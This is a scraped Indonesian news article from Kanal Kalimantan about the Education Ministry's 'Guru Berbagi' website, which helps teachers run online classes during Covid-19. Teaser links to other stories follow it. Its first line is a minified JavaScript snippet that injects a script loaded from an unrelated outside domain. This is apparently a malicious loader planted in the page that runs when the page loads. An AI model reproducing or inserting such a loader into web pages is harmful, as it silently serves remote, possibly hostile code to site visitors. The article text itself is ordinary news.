(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Pemerintah melalui Kementerian Pendidikan dan Kebudayaan (Kemendikbud), Selasa (31/3/2020) meluncurkan laman “Guru Berbagi” untuk membantu para guru di Indonesia dalam melaksanakan pembelajaran berbasis daring atau online pada masa darurat Coronavirus Disease atau Covid-19.
Dengan adanya laman guruberbagi.kemendikbud.go.id, guru dan penggerak pendidikan dapat saling berbagi melalui Rencana Pelaksanaan Pembelajaran atau RPP dan inspirasi praktik pendidikan, khususnya pendidikan jarak jauh saat dianjurkan untuk belajar dan mengajar di rumah.
“Sejak ramai Virus Covid-19 ini, banyak yang mempertanyakan, bagaimana kesiapan Kemendikbud soal arahan belajar online ini. Nah, kami meluncurkan laman ini untuk membantu para guru dalam mempraktikkan kegiatan belajar mengajar melalui online. Di sini para guru bisa saling bertukar informasi, bagaimana cara mengajar berbasis online ini,†kata Direktur Guru dan Tenaga Kependidikan Pendidikan Menengah dan Pendidikan Khusus, Praptono.
Ia menjelaskan, laman ini hadir sebagai ruang berbagi ide dan praktik baik yang akan menunjang pembelajaran selama belajar dari rumah (learning from home) atau selama masa darurat.
Menurut Praptono, laman Guru Berbagi dapat mendorong ide kreatif dalam proses pembelajaran oleh guru selama kebijakan belajar dari rumah berlangsung. Laman ini dapat menyediakan ruang bagi para guru untuk saling berbagi RPP.
“Dengan kondisi pandemi Covid-19 ini, kita butuh imajinasi baru supaya pembelajaran dapat tetap terjadi. Kita butuh inovasi-inovasi,†ujarnya.
Salah satu sekolah di Jawa Barat, yakni Sekolah Ar Rafi Drajat pun telah menerapkan sistem belajar online kepada anak muridnya. Menurut Ahmad Fikri Djulfikar, Wakil Kepala Sekolah Ar Rafi Drajat, yang juga aktif dalam Komunitas Guru Google Educators Group (GEG), kegiatan belajar mengajar di tempatnya berjalan sangat efektif. Menurutnya, kegiatan belajar online lebih menarik.
“Namun di sini guru memang dituntut harus lebih kreatif dalam kegiatan mengajar. Ternyata anak didik di sini lebih kreatif. Dalam kegiatan belajarnya dibutuhkan inovasi dari para guru, agar kegiatan belajar mengajar berjalan dengan baik,†ujarnya saat dihubungi Suara.com.
“Misalnya, mereka kami beri tugas membuat presentasi atau poster, ternyata mereka buat dengan lebih kreatif. Guru di sini juga dituntut harus dapat memberikan materi yang memotivasi murid untuk lebih baik lagi. Kegiatan belajar kami menggunakan chrome book, jadi nanti guru akan memberikan tugas ke anak murid di classroom. Mereka akan diberikan waktu oleh gurunya. Kalau harus ada tatap muka, kami menggunakan google hangout, jika itu diperlukan,†katanya. (suara.com)
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.